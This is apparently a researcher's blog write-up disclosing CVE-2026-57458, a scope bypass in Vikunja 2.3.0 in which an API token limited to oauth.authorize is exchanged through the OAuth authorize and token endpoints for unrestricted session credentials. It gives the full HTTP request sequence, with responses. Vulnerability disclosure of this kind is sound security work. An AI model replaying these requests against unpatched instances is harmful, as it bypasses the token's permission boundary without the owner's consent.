Overview

turning a scoped vikunja token into a normal session

July 24, 2026
4 min read

TL;DR

I got CVE-2026-57458 in Vikunja.

The issue was an authentication-context mismatch between scoped API tokens and the OAuth authorization-code flow.

A token scoped only to:

{"oauth":["authorize"]}

could call the OAuth authorization endpoint, receive an authorization code, exchange that code for a normal bearer JWT plus refresh token, and then use those minted credentials on routes outside the original API-token scope.

The original scoped token could not directly access normal routes like /api/v1/user, but the OAuth token minted from it could.

The boundary that failed

Scoped API tokens are supposed to carry a permission boundary.

In this case, the token was intentionally narrow:

oauth.authorize only

That should mean the token can do exactly that one OAuth-related action and nothing else.

The problem was that /api/v1/oauth/authorize accepted API-token-authenticated requests as a valid resource-owner context for issuing an OAuth authorization code.

Once that code existed, /api/v1/oauth/token exchanged it into regular session credentials.

Those new credentials were not tied back to the original API-token permissions.

Affected flow

The vulnerable flow was:

scoped API token
-> POST /api/v1/oauth/authorize
-> OAuth authorization code
-> POST /api/v1/oauth/token
-> normal bearer JWT + refresh token
-> access non-OAuth routes outside the original token scope

The affected package was:

code.vikunja.io/api

Affected version:

2.3.0

Patched version:

2.4.0

Relevant code paths

The advisory calls out these areas:

pkg/routes/routes.go
pkg/models/api_routes.go
pkg/routes/api_tokens.go
pkg/user/user.go
pkg/modules/auth/oauth2server/authorize.go
pkg/modules/auth/oauth2server/token.go

The important part is not one single line.

The issue came from how those pieces composed:

  • the route group accepted scoped API tokens
  • the API-token middleware placed api_token and api_user into request context
  • the user helper treated api_user as the authenticated current user
  • the OAuth authorize handler used that current user to issue an authorization code
  • the token endpoint exchanged the code for unrestricted session credentials

That created a bridge from a scoped token into a normal OAuth session.

Negative control

The scoped token could not access the normal user route directly.

GET /api/v1/user
Authorization: Bearer <scoped-api-token>

Observed response:

401 Unauthorized

Response body:

{"code":11,"message":"missing, malformed, expired or otherwise invalid token provided"}

That negative control matters because it shows the token scope was not simply ignored everywhere.

The bypass happened through the OAuth minting path.

Exploit path

First, the scoped token was used to request an OAuth authorization code:

POST /api/v1/oauth/authorize
Authorization: Bearer <scoped-api-token>
Content-Type: application/json

Body:

{
"response_type": "code",
"client_id": "vikunja",
"redirect_uri": "vikunja-flutter://callback",
"code_challenge": "<pkce-s256-challenge>",
"code_challenge_method": "S256"
}

Observed response:

200 OK

Response body:

{
"code": "<redacted>",
"redirect_uri": "vikunja-flutter://callback",
"state": ""
}

Then the authorization code was exchanged for normal session credentials:

POST /api/v1/oauth/token
Content-Type: application/json

Body:

{
"grant_type": "authorization_code",
"code": "<redacted>",
"client_id": "vikunja",
"redirect_uri": "vikunja-flutter://callback",
"code_verifier": "<original-pkce-verifier>"
}

Observed response:

200 OK

Response body:

{
"access_token": "<redacted>",
"token_type": "bearer",
"expires_in": 600,
"refresh_token": "<redacted>"
}

At that point, the attacker no longer had only a scoped API token.

They had a normal OAuth access token and refresh token for the same user.

Scope bypass confirmation

The minted OAuth access token could access routes the original scoped token could not.

GET /api/v1/user
Authorization: Bearer <minted-oauth-access-token>

Observed response:

200 OK

Additional check:

GET /api/v1/projects
Authorization: Bearer <minted-oauth-access-token>

Observed response:

200 OK

That is the security issue: the original token had a narrow permission set, but the derived credentials did not inherit that restriction.

Impact

A scoped API token with only oauth.authorize could be converted into normal session credentials for the same user.

That bypasses the intended API-token permission boundary.

The confirmed impact was:

  • access to normal user/session routes outside the token’s declared scope
  • access to project routes using the minted OAuth bearer token
  • refresh-token issuance from a scoped API-token starting point

The advisory did not validate:

  • cross-user access
  • admin privilege escalation
  • access to another account

That boundary is important. This is a same-user scope bypass, not an account takeover across users.

Expected behavior

An API token with limited permissions should not be able to mint broader credentials than its declared scope.

For this flow, /api/v1/oauth/authorize should require an authentication context appropriate for OAuth authorization-code issuance, such as a normal user session.

API-token-authenticated requests should not be accepted as a resource-owner session for creating unrestricted OAuth authorization codes.

Severity and versions

The public advisory lists:

  • CVE: CVE-2026-57458
  • GHSA: GHSA-v3p6-34mc-hj7v
  • Severity: High
  • CVSS: 8.1
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
  • CWE: CWE-269
  • Affected: 2.3.0
  • Patched: 2.4.0

Reference